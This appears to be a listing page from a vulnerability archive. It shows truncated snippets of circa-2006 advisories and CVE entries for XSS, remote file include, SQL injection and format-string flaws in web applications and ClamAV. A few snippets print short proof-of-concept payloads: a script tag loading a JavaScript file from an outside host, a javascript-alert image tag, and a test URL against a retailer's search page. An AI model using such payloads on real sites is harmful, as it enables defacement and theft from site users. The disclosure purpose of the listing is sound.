calendar157.txt

--------------------------------------------------------------------------------- Calendar Module = 1.5.7 Remote File Include Vulnerabilities --------------------------------------------------------------------------------- Author : Matdhule Contact : [email protected] Application : Calendar...

CVE-2006-3358

Multiple cross-site scripting XSS vulnerabilities in index.php in NewsPHP 2006 PRO allow remote attackers to inject arbitrary web script or HTML via the 1 words, 2 id, 3 catid, and 4 tim parameters, which are not sanitized before being returned in an error page. NOTE: it is possible that some of...

CVE-2006-3338

Cross-site scripting XSS vulnerability in Atlassian JIRA 3.6.2-156 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors in a direct request to secure/ConfigureReleaseNote.jspa, which are not sanitized before being returned in an error page...

ePrayver v.Alpha - XSS

Eprayer v.Alpha. Homepage: http://eprayer.sourceforge.net Affected files: input boxs of prayer request. User submitted data is not sanatized before being dynamically generated. Try putting the code below in as "Your name" SCRIPT SRC=http://youfucktard.com/xss.js/SCRIPT Screenshots:...

f_pc-1.2.1pl2.txt

----------------------------------------------------- Advisory id: FSA:014 Author: Federico Fazzi Date: 12/06/2006, 10:25 Sinthesis: phpCMS 1.2.1pl2, Remote command execution Type: high Product: http://www.phpcms.de/ Patch: unavailable ----------------------------------------------------- 1...

cms-bandits2.5.txt

----------------------------------------------------- Advisory id: FSA:006 Author: Federico Fazzi Date: 08/06/2006, 11:09 Sinthesis: cms-bandits 2.5, Remote command execution Type: high Product: http://sourceforge.net/projects/cms-bandits Patch: unavailable...

Content-Builder (CMS) 0.7.5 Multiple Include Vulnerabilities

No description provided by source. ----------------------------------------------------- Advisory id: FSA:012 Author: Federico Fazzi Date: 11/06/2006, 22:30 Sinthesis: Content-Builder CMS 0.7.5, Remote command execution Type: high Product: http://www.content-builder.de/ Patch: unavailable...

Content-Builder (CMS) 0.7.5 Multiple Include Vulnerabilities

Exploit for unknown platform in category web applications ============================================================ Content-Builder CMS 0.7.5 Multiple Include Vulnerabilities ============================================================ -----------------------------------------------------...

Content-Builder (CMS) 0.7.5 - Multiple Include Vulnerabilities

----------------------------------------------------- Advisory id: FSA:012 Author: Federico Fazzi Date: 11/06/2006, 22:30 Sinthesis: Content-Builder CMS 0.7.5, Remote command execution Type: high Product: http://www.content-builder.de/ Patch: unavailable...

timberland.txt

There's a vulnerability in Timberland's search engine. The variable 'keywords' in searchHandler/index.jsp is not correctly sanitized. URL: hxxp://www.timberland.com/searchHandler/index.jsp?keywords=XSS Code Example: hxxp://www.timberland.com/searchHandler/index.jsp?keywords=alert'test'; Author: O...

Weblog Oggi v1.0

Weblog Oggi v1.0 Homepage: http://www.hotwebscripts.com/index.php User input isn't sanatized before being dynamically generated. For proof of concept just put IMG SRC="javascript:alert'XSS';" in as a comment...

PHP AGTC-Membership system <= v1.1a XSS

PHP AGTC-Membership system = v1.1a XSS Discovered by: Nomenumbra Date: 23/5/2006 impact:moderate privilege escalation,possible defacement Ordinary users can add users to the user management system as well, or change their own email address, which isn't properly sanitized, thus allowing XSS as...

Cross site scripting

Cross-site scripting XSS vulnerability in the validation feature in Macromedia ColdFusion 5 and earlier allows remote attackers to inject arbitrary web script or HTML via a "required" field when the associated normal field is missing or empty, which is not sanitized before being presented in an...

CVE-2006-2364

Cross-site scripting XSS vulnerability in the validation feature in Macromedia ColdFusion 5 and earlier allows remote attackers to inject arbitrary web script or HTML via a "required" field when the associated normal field is missing or empty, which is not sanitized before being presented in an...

ibp-2.1.4-xpl.txt

This exploit has only been tested on 2.1.4. Others are most likely vulnerable but have not yet been tested. Simple SQL injection in funcmsg.php on line 448. tobyid is not properly sanitized. It's passed to the class via an instance of the messenger class, which takes it from the ipb sanitized inp...

Cross site scripting

Cross-site scripting vulnerability in index.php in blur6ex 0.3.452 allows remote attackers to inject arbitrary web script or HTML via the errormsg parameter, which is not sanitized in the error message. NOTE: the vector in the shard parameter is not XSS and has been assigned a separate name...

CVE-2006-1761

Cross-site scripting vulnerability in index.php in blur6ex 0.3.452 allows remote attackers to inject arbitrary web script or HTML via the errormsg parameter, which is not sanitized in the error message. NOTE: the vector in the shard parameter is not XSS and has been assigned a separate name...

Format string

Multiple format string vulnerabilities in the logging code in Clam AntiVirus ClamAV before 0.88.1 might allow remote attackers to execute arbitrary code. NOTE: as of 20060410, it is unclear whether this is a vulnerability, as there is some evidence that the arguments are actually being sanitized...

EV0104.txt

New eVuln Advisory: Skull-Splitter's PHP Guestbook XSS Vulnerability http://evuln.com/vulns/104/summary.html --------------------Summary---------------- eVuln ID: EV0104 CVE: CVE-2006-1256 Software: Skull-Splitter's PHP Guestbook Sowtware's Web Site: http://www.boysen.be/ Versions: 2.6 2.7 Critic...

CVE-2006-1321

Cross-site scripting XSS vulnerability in webcheck before 1.9.6 allows remote attackers to inject arbitrary web script or HTML via the 1 url, 2 title, or 3 author name in a crawled page, which is not properly sanitized in the tooltips of a report...